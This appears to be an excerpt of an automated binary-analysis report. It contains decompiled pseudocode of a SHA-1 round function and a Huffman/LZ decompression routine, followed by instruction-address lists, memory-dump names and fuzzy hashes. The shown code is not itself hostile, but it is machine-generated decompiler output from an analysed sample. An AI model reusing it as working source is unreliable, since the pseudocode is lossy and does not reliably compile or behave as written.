					if(_t858 + 3 > 0x37) {
						break;
					}
					_t839 = _v20;
				}
				_t816 = 0x39;
				_v16 = _t816;
				do {
					_t310 = _t816 + 5; // 0x3e
					_t546 = _t310;
					_v8 = _t546;
					_t312 = _t816 + 3; // 0x3c
					_t313 = _t816 - 5; // 0x34
					_t880 = 0xf;
					_t901 = _t312 & _t880;
					_t603 = _t546 & _t880;
					_t881 = _v20;
					_v4 = _t901;
					_t820 =  *(_t881 + (_t313 & _t880) * 4) ^  *(_t881 + (_t816 & _t880) * 4) ^  *(_t881 + _t603 * 4) ^  *(_t881 + _t901 * 4);
					asm("rol edx, 1");
					 *(_t881 + _t901 * 4) = _t820;
					_t902 = _v28;
					asm("rol ecx, 0x5");
					asm("ror ebp, 0x2");
					_v28 = _t902;
					_v24 = (_a16 ^ _a8 ^ _t902) + _t820 + _t845 + _a12 + 0xca62c1d6;
					_t555 = _v16;
					_t821 = 0xf;
					_t847 = _t555 + 0x00000006 & _t821;
					_t904 = _t555 + 0x00000004 & _t821;
					_t825 =  *(_t881 + (_t555 - 0x00000004 & _t821) * 4) ^  *(_t881 + (_t555 + 0x00000001 & _t821) * 4) ^  *(_t881 + _t904 * 4) ^  *(_t881 + _t847 * 4);
					asm("rol edx, 1");
					 *(_t881 + _t904 * 4) = _t825;
					_t882 = _a12;
					asm("rol ecx, 0x5");
					_a16 = (_a8 ^ _v28 ^ _t882) + _t825 + _a16 + _v24 + 0xca62c1d6;
					_t564 = _v16;
					asm("ror esi, 0x2");
					_a12 = _t882;
					_t884 = _t564 + 0x00000007 & 0x0000000f;
					_t741 = _v20;
					_t830 = _v20[_t564 - 0x00000003 & 0x0000000f] ^  *(_t741 + (_t564 + 0x00000002 & 0x0000000f) * 4) ^  *(_t741 + _t603 * 4) ^  *(_t741 + _t884 * 4);
					asm("rol edx, 1");
					 *(_t741 + _t603 * 4) = _t830;
					_t604 = _v24;
					asm("rol ecx, 0x5");
					asm("ror ebx, 0x2");
					_v24 = _t604;
					_t605 = _v20;
					_a8 = (_t604 ^ _v28 ^ _a12) + _t830 + _a8 + _a16 + 0xca62c1d6;
					asm("rol ecx, 0x5");
					_t834 = _t605[_v16 - 0x00000008 & 0x0000000f] ^ _t605[_v16 + 0xfffffffe & 0x0000000f] ^ _t605[_t847] ^ _t605[_v4];
					asm("rol edx, 1");
					_t605[_t847] = _t834;
					_t845 = _v24;
					asm("ror dword [esp+0x3c], 0x2");
					_v28 = (_t845 ^ _a16 ^ _a12) + _t834 + _v28 + _a8 + 0xca62c1d6;
					_t838 = _t605[_v16 - 0x00000007 & 0x0000000f] ^ _t605[_v16 - 0x00000001 & 0x0000000f] ^ _t605[_t904] ^ _t605[_t884];
					_t905 = _a8;
					asm("rol edx, 1");
					_t605[_t884] = _t838;
					_t606 = _a16;
					_t885 = _v28;
					asm("ror ebp, 0x2");
					_t816 = _v8;
					asm("rol ecx, 0x5");
					_a8 = _t905;
					_t752 = _t885 + 0xca62c1d6 + (_t845 ^ _t606 ^ _t905) + _t838 + _a12;
					_v16 = _t816;
					_a12 = _t752;
				} while (_t816 + 3 <= 0x4b);
				_t592 = _a4;
				_t592[1] = _t592[1] + _t885;
				_t592[2] = _t592[2] + _t905;
				_t592[3] = _t592[3] + _t606;
				 *_t592 =  *_t592 + _t752;
				_t592[4] = _t592[4] + _t845;
				return _t592;
			}

0x0135e973
0x0135e97f
0x0135e98b
0x0135e995
0x0135e99a
0x0135e99f
0x0135e981
0x0135e981
0x0135e985
0x0135e985
0x0135e9a2
0x0135e9ab
0x0135e9ad
0x0135e9b0
0x0135e9ba
0x0135e9c0
0x0135e9c4
0x0135e9dc
0x0135e9e7
0x0135e9e9
0x0135e9eb
0x0135e9f0
0x0135e9f3
0x0135e9f7
0x0135e9fb
0x0135e9fe
0x0135ea09
0x0135ea0e
0x0135ea28
0x0135ea2d
0x0135ea38
0x0135ea45
0x0135ea4a
0x0135ea5e
0x0135ea65
0x0135ea6f
0x0135ea7c
0x0135ea85
0x0135ea95
0x0135eaa1
0x0135eaa3
0x0135eaae
0x0135eab3
0x0135eab6
0x0135eaca
0x0135ead1
0x0135ead8
0x0135eae1
0x0135eae5
0x0135eae9
0x0135eaf4
0x0135eaf7
0x0135eafa
0x0135eb06
0x0135eb18
0x0135eb1b
0x0135eb1d
0x0135eb33
0x0135eb3b
0x0135eb3f
0x0135eb4a
0x0135eb5c
0x0135eb63
0x0135eb66
0x0135eb6c
0x0135eb6e
0x0135eb73
0x0135eb78
0x0135eb8e
0x0135eb97
0x0135eb99
0x0135eb9c
0x0135eba2
0x0135eba8
0x0135ebb7
0x0135ebc7
0x0135ebc9
0x0135ebcf
0x0135ebd1
0x0135ebd7
0x0135ebdc
0x0135ebe0
0x0135ebe6
0x0135ebea
0x0135ebf4
0x0135ebfb
0x0135ec00
0x0135ec01
0x0135ec05
0x0135ec09
0x0135ec0d
0x0135ec0d
0x0135ec0d
0x0135ec12
0x0135ec16
0x0135ec1e
0x0135ec24
0x0135ec27
0x0135ec2a
0x0135ec39
0x0135ec48
0x0135ec4a
0x0135ec4d
0x0135ec53
0x0135ec5d
0x0135ec62
0x0135ec68
0x0135ec6c
0x0135ec70
0x0135ec74
0x0135ec78
0x0135ec7d
0x0135ec90
0x0135ec9f
0x0135eca1
0x0135eca4
0x0135ecaa
0x0135ecaf
0x0135ecc2
0x0135ecc8
0x0135eccc
0x0135ecdc
0x0135ece5
0x0135ecef
0x0135ecf2
0x0135ecf4
0x0135ecfb
0x0135ed01
0x0135ed10
0x0135ed1d
0x0135ed23
0x0135ed2b
0x0135ed4c
0x0135ed4f
0x0135ed56
0x0135ed5a
0x0135ed5d
0x0135ed67
0x0135ed77
0x0135ed7c
0x0135ed84
0x0135ed9b
0x0135eda2
0x0135eda6
0x0135eda8
0x0135edab
0x0135edb1
0x0135edba
0x0135edca
0x0135edcf
0x0135edd6
0x0135edda
0x0135edde
0x0135ede9
0x0135edea
0x0135edf4
0x0135edf4
0x0135edf4
0x0135edf7
0x0135edfa
0x0135ee01
0x0135ee06
0x0135ee0b
0x0135ee12
0x0135ee20
0x0135ee2f
0x0135ee31
0x0135ee37
0x0135ee46
0x0135ee49
0x0135ee4c
0x0135ee4d
0x0135ee59
0x0135ee5d
0x0135ee67
0x0135ee69
0x0135ee70
0x0135ee80
0x0135ee89
0x0135ee8b
0x0135ee8e
0x0135ee9a
0x0135eea2
0x0135eea9
0x0135eeac
0x0135eeb0
0x0135eeb6
0x0135eebc
0x0135eec0
0x0135eed0
0x0135eedf
0x0135eee2
0x0135eee4
0x0135eee7
0x0135ef0b
0x0135ef14
0x0135ef17
0x0135ef19
0x0135ef1d
0x0135ef27
0x0135ef2e
0x0135ef44
0x0135ef4e
0x0135ef50
0x0135ef54
0x0135ef62
0x0135ef71
0x0135ef79
0x0135ef7e
0x0135ef85
0x0135ef9e
0x0135efa4
0x0135efa6
0x0135efaa
0x0135efb0
0x0135efb8
0x0135efbd
0x0135efcd
0x0135efd3
0x0135efd7
0x0135efe1
0x00000000
0x00000000
0x0135edf0
0x0135edf0
0x0135efe9
0x0135efea
0x0135efee
0x0135efee
0x0135efee
0x0135eff3
0x0135eff7
0x0135effc
0x0135f001
0x0135f006
0x0135f008
0x0135f00a
0x0135f00e
0x0135f01d
0x0135f02c
0x0135f02e
0x0135f031
0x0135f039
0x0135f03e
0x0135f047
0x0135f04d
0x0135f051
0x0135f055
0x0135f05c
0x0135f05e
0x0135f071
0x0135f080
0x0135f082
0x0135f085
0x0135f08d
0x0135f0a0
0x0135f0a4
0x0135f0a8
0x0135f0ab
0x0135f0bb
0x0135f0c4
0x0135f0ce
0x0135f0d1
0x0135f0d3
0x0135f0da
0x0135f0de
0x0135f0f3
0x0135f0fc
0x0135f100
0x0135f104
0x0135f129
0x0135f132
0x0135f135
0x0135f137
0x0135f13a
0x0135f148
0x0135f155
0x0135f172
0x0135f175
0x0135f179
0x0135f17b
0x0135f17e
0x0135f184
0x0135f18c
0x0135f195
0x0135f199
0x0135f1a2
0x0135f1a6
0x0135f1a8
0x0135f1af
0x0135f1b3
0x0135f1bc
0x0135f1c0
0x0135f1c3
0x0135f1c6
0x0135f1c9
0x0135f1cb
0x0135f1d5

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21433a5f7de97874b167784364e9de3bea179284053d1adb041105bdc07d2dba
Instruction ID: 01ec882d8ce748de7e1a9650019d75eb24b0391cef37e31bcc1998c1471b6a71
Opcode Fuzzy Hash: 21433a5f7de97874b167784364e9de3bea179284053d1adb041105bdc07d2dba
Instruction Fuzzy Hash: EC5259B26087019FC758CF18C891A6AF7E1FFC8304F49992DF9968B255D334E919CB82

Uniqueness

Uniqueness Score: -1.00%

Function 013666A2, Relevance: .5, Instructions: 509
COMMONCrypto

Download Yara Rule

C-Code - Quality: 88%

			E013666A2(signed int __ecx) {
				void* __ebp;
				signed int _t201;
				signed int _t203;
				signed int _t205;
				signed int _t206;
				signed int _t207;
				signed int _t209;
				signed int _t210;
				signed int _t212;
				signed int _t214;
				signed int _t215;
				signed int _t216;
				signed int _t218;
				signed int _t219;
				signed int _t220;
				signed int _t221;
				unsigned int _t223;
				signed int _t233;
				signed int _t237;
				signed int _t240;
				signed int _t241;
				signed int _t242;
				signed int _t244;
				signed int _t245;
				signed short _t246;
				signed int _t247;
				signed int _t250;
				signed int* _t251;
				signed int _t253;
				signed int _t254;
				signed int _t255;
				unsigned int _t256;
				signed int _t259;
				signed int _t260;
				signed int _t261;
				signed int _t263;
				signed int _t264;
				signed short _t265;
				unsigned int _t269;
				unsigned int _t274;
				signed int _t279;
				signed short _t280;
				signed int _t284;
				void* _t291;
				signed int _t293;
				signed int* _t295;
				signed int _t296;
				signed int _t297;
				signed int _t301;
				signed int _t304;
				signed int _t305;
				signed int _t308;
				signed int _t309;
				signed int _t310;
				intOrPtr _t313;
				intOrPtr _t314;
				signed int _t315;
				unsigned int _t318;
				void* _t320;
				signed int _t323;
				signed int _t324;
				unsigned int _t327;
				void* _t329;
				signed int _t332;
				void* _t335;
				signed int _t338;
				signed int _t339;
				intOrPtr* _t341;
				void* _t342;
				signed int _t345;
				signed int* _t349;
				signed int _t350;
				unsigned int _t354;
				void* _t356;
				signed int _t359;
				void* _t363;
				signed int _t366;
				signed int _t367;
				unsigned int _t370;
				void* _t372;
				signed int _t375;
				intOrPtr* _t377;
				void* _t378;
				signed int _t381;
				void* _t384;
				signed int _t388;
				signed int _t389;
				intOrPtr* _t391;
				void* _t392;
				signed int _t395;
				void* _t398;
				signed int _t401;
				signed int _t402;
				intOrPtr* _t404;
				void* _t405;
				signed int _t408;
				signed int _t414;
				unsigned int _t416;
				unsigned int _t420;
				signed int _t423;
				signed int _t424;
				unsigned int _t426;
				unsigned int _t430;
				signed int _t433;
				signed int _t434;
				void* _t435;
				signed int _t436;
				intOrPtr* _t438;
				signed char _t440;
				signed int _t442;
				intOrPtr _t443;
				signed int _t446;
				signed int _t447;
				signed int _t448;
				void* _t455;

				_t440 =  *(_t455 + 0x34);
				 *(_t455 + 0x14) = __ecx;
				if( *((char*)(_t440 + 0x2c)) != 0) {
					L3:
					_t313 =  *((intOrPtr*)(_t440 + 0x18));
					_t438 = _t440 + 4;
					__eflags =  *_t438 -  *((intOrPtr*)(_t440 + 0x24)) + _t313;
					if( *_t438 <=  *((intOrPtr*)(_t440 + 0x24)) + _t313) {
						 *(_t440 + 0x4ad8) =  *(_t440 + 0x4ad8) & 0x00000000;
						_t201 =  *((intOrPtr*)(_t440 + 0x20)) - 1 + _t313;
						_t414 =  *((intOrPtr*)(_t440 + 0x4acc)) - 0x10;
						 *(_t455 + 0x14) = _t201;
						 *(_t455 + 0x10) = _t414;
						_t293 = _t201;
						__eflags = _t201 - _t414;
						if(_t201 >= _t414) {
							_t293 = _t414;
						}
						 *(_t455 + 0x3c) = _t293;
						while(1) {
							_t314 =  *_t438;
							__eflags = _t314 - _t293;
							if(_t314 < _t293) {
								goto L15;
							}
							L9:
							__eflags = _t314 - _t201;
							if(__eflags > 0) {
								L93:
								L94:
								return _t201;
							}
							if(__eflags != 0) {
								L12:
								__eflags = _t314 - _t414;
								if(_t314 < _t414) {
									L14:
									__eflags = _t314 -  *((intOrPtr*)(_t440 + 0x4acc));
									if(_t314 >=  *((intOrPtr*)(_t440 + 0x4acc))) {
										L92:
										 *((char*)(_t440 + 0x4ad3)) = 1;
										goto L93;
									}
									goto L15;
								}
								__eflags =  *((char*)(_t440 + 0x4ad2));
								if( *((char*)(_t440 + 0x4ad2)) == 0) {
									goto L92;
								}
								goto L14;
							}
							_t201 =  *(_t440 + 8);
							__eflags = _t201 -  *((intOrPtr*)(_t440 + 0x1c));
							if(_t201 >=  *((intOrPtr*)(_t440 + 0x1c))) {
								goto L93;
							}
							goto L12;
							L15:
							_t315 =  *(_t440 + 0x4adc);
							__eflags =  *(_t440 + 0x4ad8) - _t315 - 8;
							if( *(_t440 + 0x4ad8) > _t315 - 8) {
								_t284 = _t315 + _t315;
								 *(_t440 + 0x4adc) = _t284;
								_push(_t284 * 0xc);
								_push( *(_t440 + 0x4ad4));
								_t310 = E01372B5E(_t315, _t414);
								__eflags = _t310;
								if(_t310 == 0) {
									E01356D3A(0x13900e0);
								}
								 *(_t440 + 0x4ad4) = _t310;
							}
							_t203 =  *(_t440 + 0x4ad8);
							_t295 = _t203 * 0xc +  *(_t440 + 0x4ad4);
							 *(_t455 + 0x24) = _t295;
							 *(_t440 + 0x4ad8) = _t203 + 1;
							_t205 = E0135A4ED(_t438);
							_t206 =  *(_t440 + 0xb4);
							_t416 = _t205 & 0x0000fffe;
							__eflags = _t416 -  *((intOrPtr*)(_t440 + 0x34 + _t206 * 4));
							if(_t416 >=  *((intOrPtr*)(_t440 + 0x34 + _t206 * 4))) {
								_t442 = 0xf;
								_t207 = _t206 + 1;
								__eflags = _t207 - _t442;
								if(_t207 >= _t442) {
									L27:
									_t318 =  *(_t438 + 4) + _t442;
									 *(_t438 + 4) = _t318 & 0x00000007;
									_t209 = _t318 >> 3;
									 *_t438 =  *_t438 + _t209;
									_t320 = 0x10;
									_t443 =  *((intOrPtr*)(_t455 + 0x1c));
									_t323 =  *((intOrPtr*)(_t440 + 0x74 + _t442 * 4)) + (_t416 -  *((intOrPtr*)(_t440 + 0x30 + _t442 * 4)) >> _t320 - _t442);
									__eflags = _t323 -  *((intOrPtr*)(_t440 + 0x30));
									asm("sbb eax, eax");
									_t210 = _t209 & _t323;
									__eflags = _t210;
									_t324 =  *(_t440 + 0xcb8 + _t210 * 2) & 0x0000ffff;
									goto L28;
								}
								_t404 = _t440 + 0x34 + _t207 * 4;
								while(1) {
									__eflags = _t416 -  *_t404;
									if(_t416 <  *_t404) {
										break;
									}
									_t207 = _t207 + 1;
									_t404 = _t404 + 4;
									__eflags = _t207 - 0xf;
									if(_t207 < 0xf) {
										continue;
									}
									goto L27;
								}
								_t442 = _t207;
								goto L27;
							} else {
								_t405 = 0x10;
								_t436 = _t416 >> _t405 - _t206;
								_t408 = ( *(_t436 + _t440 + 0xb8) & 0x000000ff) +  *(_t438 + 4);
								 *_t438 =  *_t438 + (_t408 >> 3);
								 *(_t438 + 4) = _t408 & 0x00000007;
								_t324 =  *(_t440 + 0x4b8 + _t436 * 2) & 0x0000ffff;
								L28:
								__eflags = _t324 - 0x100;
								if(_t324 >= 0x100) {
									__eflags = _t324 - 0x106;
									if(_t324 < 0x106) {
										__eflags = _t324 - 0x100;
										if(_t324 != 0x100) {
											__eflags = _t324 - 0x101;
											if(_t324 != 0x101) {
												_t212 = 3;
												 *_t295 = _t212;
												_t295[2] = _t324 - 0x102;
												_t214 = E0135A4ED(_t438);
												_t215 =  *(_t440 + 0x2d78);
												_t420 = _t214 & 0x0000fffe;
												__eflags = _t420 -  *((intOrPtr*)(_t440 + 0x2cf8 + _t215 * 4));
												if(_t420 >=  *((intOrPtr*)(_t440 + 0x2cf8 + _t215 * 4))) {
													_t296 = 0xf;
													_t216 = _t215 + 1;
													__eflags = _t216 - _t296;
													if(_t216 >= _t296) {
														L85:
														_t327 =  *(_t438 + 4) + _t296;
														 *(_t438 + 4) = _t327 & 0x00000007;
														_t218 = _t327 >> 3;
														 *_t438 =  *_t438 + _t218;
														_t329 = 0x10;
														_t332 =  *((intOrPtr*)(_t440 + 0x2d38 + _t296 * 4)) + (_t420 -  *((intOrPtr*)(_t440 + 0x2cf4 + _t296 * 4)) >> _t329 - _t296);
														__eflags = _t332 -  *((intOrPtr*)(_t440 + 0x2cf4));
														asm("sbb eax, eax");
														_t219 = _t218 & _t332;
														__eflags = _t219;
														_t220 =  *(_t440 + 0x397c + _t219 * 2) & 0x0000ffff;
														L86:
														_t297 = _t220 & 0x0000ffff;
														__eflags = _t297 - 8;
														if(_t297 >= 8) {
															_t221 = 3;
															_t446 = (_t297 >> 2) - 1;
															_t301 = ((_t297 & _t221 | 0x00000004) << _t446) + 2;
															__eflags = _t446;
															if(_t446 != 0) {
																_t223 = E0135A4ED(_t438);
																_t335 = 0x10;
																_t301 = _t301 + (_t223 >> _t335 - _t446);
																_t338 =  *(_t438 + 4) + _t446;
																 *_t438 =  *_t438 + (_t338 >> 3);
																_t339 = _t338 & 0x00000007;
																__eflags = _t339;
																 *(_t438 + 4) = _t339;
															}
														} else {
															_t301 = _t297 + 2;
														}
														( *(_t455 + 0x24))[1] = _t301;
														L91:
														_t414 =  *(_t455 + 0x14);
														_t201 =  *(_t455 + 0x18);
														_t293 =  *(_t455 + 0x3c);
														_t443 =  *((intOrPtr*)(_t455 + 0x1c));
														while(1) {
															_t314 =  *_t438;
															__eflags = _t314 - _t293;
															if(_t314 < _t293) {
																goto L15;
															}
															goto L9;
														}
													}
													_t341 = _t440 + 0x2cf8 + _t216 * 4;
													while(1) {
														__eflags = _t420 -  *_t341;
														if(_t420 <  *_t341) {
															break;
														}
														_t216 = _t216 + 1;
														_t341 = _t341 + 4;
														__eflags = _t216 - 0xf;
														if(_t216 < 0xf) {
															continue;
														}
														goto L85;
													}
													_t296 = _t216;
													goto L85;
												}
												_t342 = 0x10;
												_t423 = _t420 >> _t342 - _t215;
												_t345 = ( *(_t423 + _t440 + 0x2d7c) & 0x000000ff) +  *(_t438 + 4);
												 *_t438 =  *_t438 + (_t345 >> 3);
												 *(_t438 + 4) = _t345 & 0x00000007;
												_t220 =  *(_t440 + 0x317c + _t423 * 2) & 0x0000ffff;
												goto L86;
											}
											 *_t295 = 2;
											L33:
											_t414 =  *(_t455 + 0x14);
											_t201 =  *(_t455 + 0x18);
											_t293 =  *(_t455 + 0x3c);
											continue;
										}
										_push(_t455 + 0x28);
										E01363564(_t443, _t438);
										_t295[1] =  *(_t455 + 0x28) & 0x000000ff;
										_t295[2] =  *(_t455 + 0x2c);
										_t424 = 4;
										 *_t295 = _t424;
										_t233 =  *(_t440 + 0x4ad8);
										_t349 = _t233 * 0xc +  *(_t440 + 0x4ad4);
										 *(_t440 + 0x4ad8) = _t233 + 1;
										_t349[1] =  *(_t455 + 0x34) & 0x000000ff;
										 *_t349 = _t424;
										_t349[2] =  *(_t455 + 0x30);
										goto L33;
									}
									_t237 = _t324 - 0x106;
									__eflags = _t237 - 8;
									if(_t237 >= 8) {
										_t350 = 3;
										_t304 = (_t237 >> 2) - 1;
										_t237 = (_t237 & _t350 | 0x00000004) << _t304;
										__eflags = _t237;
									} else {
										_t304 = 0;
									}
									_t447 = _t237 + 2;
									 *(_t455 + 0x10) = _t447;
									__eflags = _t304;
									if(_t304 != 0) {
										_t274 = E0135A4ED(_t438);
										_t398 = 0x10;
										_t401 =  *(_t438 + 4) + _t304;
										 *(_t455 + 0x10) = _t447 + (_t274 >> _t398 - _t304);
										 *_t438 =  *_t438 + (_t401 >> 3);
										_t402 = _t401 & 0x00000007;
										__eflags = _t402;
										 *(_t438 + 4) = _t402;
									}
									_t240 = E0135A4ED(_t438);
									_t241 =  *(_t440 + 0xfa0);
									_t426 = _t240 & 0x0000fffe;
									__eflags = _t426 -  *((intOrPtr*)(_t440 + 0xf20 + _t241 * 4));
									if(_t426 >=  *((intOrPtr*)(_t440 + 0xf20 + _t241 * 4))) {
										_t305 = 0xf;
										_t242 = _t241 + 1;
										__eflags = _t242 - _t305;
										if(_t242 >= _t305) {
											L49:
											_t354 =  *(_t438 + 4) + _t305;
											 *(_t438 + 4) = _t354 & 0x00000007;
											_t244 = _t354 >> 3;
											 *_t438 =  *_t438 + _t244;
											_t356 = 0x10;
											_t359 =  *((intOrPtr*)(_t440 + 0xf60 + _t305 * 4)) + (_t426 -  *((intOrPtr*)(_t440 + 0xf1c + _t305 * 4)) >> _t356 - _t305);
											__eflags = _t359 -  *((intOrPtr*)(_t440 + 0xf1c));
											asm("sbb eax, eax");
											_t245 = _t244 & _t359;
											__eflags = _t245;
											_t246 =  *(_t440 + 0x1ba4 + _t245 * 2) & 0x0000ffff;
											goto L50;
										}
										_t391 = _t440 + 0xf20 + _t242 * 4;
										while(1) {
											__eflags = _t426 -  *_t391;
											if(_t426 <  *_t391) {
												break;
											}
											_t242 = _t242 + 1;
											_t391 = _t391 + 4;
											__eflags = _t242 - 0xf;
											if(_t242 < 0xf) {
												continue;
											}
											goto L49;
										}
										_t305 = _t242;
										goto L49;
									} else {
										_t392 = 0x10;
										_t434 = _t426 >> _t392 - _t241;
										_t395 = ( *(_t434 + _t440 + 0xfa4) & 0x000000ff) +  *(_t438 + 4);
										 *_t438 =  *_t438 + (_t395 >> 3);
										 *(_t438 + 4) = _t395 & 0x00000007;
										_t246 =  *(_t440 + 0x13a4 + _t434 * 2) & 0x0000ffff;
										L50:
										_t247 = _t246 & 0x0000ffff;
										__eflags = _t247 - 4;
										if(_t247 >= 4) {
											_t308 = (_t247 >> 1) - 1;
											_t247 = (_t247 & 0x00000001 | 0x00000002) << _t308;
											__eflags = _t247;
										} else {
											_t308 = 0;
										}
										_t250 = _t247 + 1;
										 *(_t455 + 0x20) = _t250;
										_t448 = _t250;
										__eflags = _t308;
										if(_t308 == 0) {
											L68:
											__eflags = _t448 - 0x100;
											if(_t448 > 0x100) {
												_t253 =  *(_t455 + 0x10) + 1;
												 *(_t455 + 0x10) = _t253;
												__eflags = _t448 - 0x2000;
												if(_t448 > 0x2000) {
													_t254 = _t253 + 1;
													 *(_t455 + 0x10) = _t254;
													__eflags = _t448 - 0x40000;
													if(_t448 > 0x40000) {
														_t255 = _t254 + 1;
														__eflags = _t255;
														 *(_t455 + 0x10) = _t255;
													}
												}
											}
											_t251 =  *(_t455 + 0x24);
											 *_t251 = 1;
											_t251[1] =  *(_t455 + 0x10);
											_t251[2] = _t448;
											goto L91;
										} else {
											__eflags = _t308 - 4;
											if(__eflags < 0) {
												_t256 = E01367D76(_t438);
												_t363 = 0x20;
												_t448 = (_t256 >> _t363 - _t308) +  *(_t455 + 0x20);
												_t366 =  *(_t438 + 4) + _t308;
												 *_t438 =  *_t438 + (_t366 >> 3);
												_t367 = _t366 & 0x00000007;
												__eflags = _t367;
												 *(_t438 + 4) = _t367;
												goto L68;
											}
											if(__eflags > 0) {
												_t269 = E01367D76(_t438);
												_t384 = 0x24;
												_t448 = (_t269 >> _t384 - _t308 << 4) +  *(_t455 + 0x20);
												_t388 =  *(_t438 + 4) + 0xfffffffc + _t308;
												 *_t438 =  *_t438 + (_t388 >> 3);
												_t389 = _t388 & 0x00000007;
												__eflags = _t389;
												 *(_t438 + 4) = _t389;
											}
											_t259 = E0135A4ED(_t438);
											_t260 =  *(_t440 + 0x1e8c);
											_t430 = _t259 & 0x0000fffe;
											__eflags = _t430 -  *((intOrPtr*)(_t440 + 0x1e0c + _t260 * 4));
											if(_t430 >=  *((intOrPtr*)(_t440 + 0x1e0c + _t260 * 4))) {
												_t309 = 0xf;
												_t261 = _t260 + 1;
												__eflags = _t261 - _t309;
												if(_t261 >= _t309) {
													L65:
													_t370 =  *(_t438 + 4) + _t309;
													 *(_t438 + 4) = _t370 & 0x00000007;
													_t263 = _t370 >> 3;
													 *_t438 =  *_t438 + _t263;
													_t372 = 0x10;
													_t375 =  *((intOrPtr*)(_t440 + 0x1e4c + _t309 * 4)) + (_t430 -  *((intOrPtr*)(_t440 + 0x1e08 + _t309 * 4)) >> _t372 - _t309);
													__eflags = _t375 -  *((intOrPtr*)(_t440 + 0x1e08));
													asm("sbb eax, eax");
													_t264 = _t263 & _t375;
													__eflags = _t264;
													_t265 =  *(_t440 + 0x2a90 + _t264 * 2) & 0x0000ffff;
													goto L66;
												}
												_t377 = _t440 + 0x1e0c + _t261 * 4;
												while(1) {
													__eflags = _t430 -  *_t377;
													if(_t430 <  *_t377) {
														break;
													}
													_t261 = _t261 + 1;
													_t377 = _t377 + 4;
													__eflags = _t261 - 0xf;
													if(_t261 < 0xf) {
														continue;
													}
													goto L65;
												}
												_t309 = _t261;
												goto L65;
											} else {
												_t378 = 0x10;
												_t433 = _t430 >> _t378 - _t260;
												_t381 = ( *(_t433 + _t440 + 0x1e90) & 0x000000ff) +  *(_t438 + 4);
												 *_t438 =  *_t438 + (_t381 >> 3);
												 *(_t438 + 4) = _t381 & 0x00000007;
												_t265 =  *(_t440 + 0x2290 + _t433 * 2) & 0x0000ffff;
												L66:
												_t448 = _t448 + (_t265 & 0x0000ffff);
												goto L68;
											}
										}
									}
								}
								__eflags =  *(_t440 + 0x4ad8) - 1;
								if( *(_t440 + 0x4ad8) <= 1) {
									L34:
									 *_t295 =  *_t295 & 0x00000000;
									_t295[2] = _t324;
									_t295[1] = 0;
									goto L33;
								}
								__eflags =  *(_t295 - 0xc);
								if( *(_t295 - 0xc) != 0) {
									goto L34;
								}
								_t279 =  *(_t295 - 8) & 0x0000ffff;
								_t435 = 3;
								__eflags = _t279 - _t435;
								if(_t279 >= _t435) {
									goto L34;
								}
								_t280 = _t279 + 1;
								 *(_t295 - 8) = _t280;
								 *((_t280 & 0x0000ffff) + _t295 - 4) = _t324;
								_t68 = _t440 + 0x4ad8;
								 *_t68 =  *(_t440 + 0x4ad8) - 1;
								__eflags =  *_t68;
								goto L33;
							}
						}
					}
					 *((char*)(_t440 + 0x4ad0)) = 1;
					goto L94;
				} else {
					 *((char*)(_t440 + 0x2c)) = 1;
					_push(_t440 + 0x30);
					_push(_t440 + 0x18);
					_push(_t440 + 4);
					_t291 = E0136397F(__ecx);
					if(_t291 != 0) {
						goto L3;
					} else {
						 *((char*)(_t440 + 0x4ad0)) = 1;
						return _t291;
					}
				}
			}

0x013666a7
0x013666ad
0x013666b5
0x013666dc
0x013666df
0x013666e5
0x013666e8
0x013666ea
0x01366702
0x01366709
0x0136670b
0x0136670e
0x01366712
0x01366717
0x01366719
0x0136671b
0x0136671d
0x0136671d
0x0136671f
0x01366723
0x01366723
0x01366725
0x01366727
0x00000000
0x00000000
0x01366729
0x01366729
0x0136672b
0x01366ca2
0x01366ca3
0x00000000
0x01366ca3
0x01366731
0x0136673f
0x0136673f
0x01366741
0x01366750
0x01366750
0x01366756
0x01366c9b
0x01366c9b
0x00000000
0x01366c9b
0x00000000
0x01366756
0x01366743
0x0136674a
0x00000000
0x00000000
0x00000000
0x0136674a
0x01366733
0x01366736
0x01366739
0x00000000
0x00000000
0x00000000
0x0136675c
0x0136675c
0x01366765
0x0136676b
0x0136676d
0x01366770
0x01366779
0x0136677a
0x01366785
0x01366789
0x0136678b
0x01366792
0x01366792
0x01366797
0x01366797
0x0136679d
0x013667a8
0x013667af
0x013667b3
0x013667b9
0x013667c0
0x013667c6
0x013667cc
0x013667d0
0x013667fd
0x013667fe
0x013667ff
0x01366801
0x0136681a
0x0136681d
0x01366824
0x01366827
0x0136682a
0x01366832
0x0136683b
0x0136683f
0x01366841
0x01366844
0x01366846
0x01366846
0x01366848
0x00000000
0x01366848
0x01366806
0x01366809
0x01366809
0x0136680b
0x00000000
0x00000000
0x0136680d
0x0136680e
0x01366811
0x01366814
0x00000000
0x00000000
0x00000000
0x01366816
0x01366818
0x00000000
0x013667d2
0x013667d4
0x013667d7
0x013667e1
0x013667e9
0x013667ee
0x013667f1
0x01366850
0x01366855
0x01366857
0x013668a5
0x013668ab
0x01366b1e
0x01366b20
0x01366b71
0x01366b77
0x01366b86
0x01366b87
0x01366b91
0x01366b94
0x01366b9b
0x01366ba1
0x01366ba7
0x01366bae
0x01366bdb
0x01366bdc
0x01366bdd
0x01366bdf
0x01366bfb
0x01366bfe
0x01366c05
0x01366c08
0x01366c0b
0x01366c16
0x01366c22
0x01366c24
0x01366c2a
0x01366c2c
0x01366c2c
0x01366c2e
0x01366c36
0x01366c36
0x01366c39
0x01366c3c
0x01366c4a
0x01366c4d
0x01366c55
0x01366c58
0x01366c5a
0x01366c5e
0x01366c65
0x01366c6d
0x01366c6f
0x01366c76
0x01366c78
0x01366c78
0x01366c7b
0x01366c7b
0x01366c3e
0x01366c3e
0x01366c3e
0x01366c82
0x01366c86
0x01366c86
0x01366c8a
0x01366c8e
0x01366c92
0x01366723
0x01366723
0x01366725
0x01366727
0x00000000
0x00000000
0x00000000
0x01366727
0x01366723
0x01366be7
0x01366bea
0x01366bea
0x01366bec
0x00000000
0x00000000
0x01366bee
0x01366bef
0x01366bf2
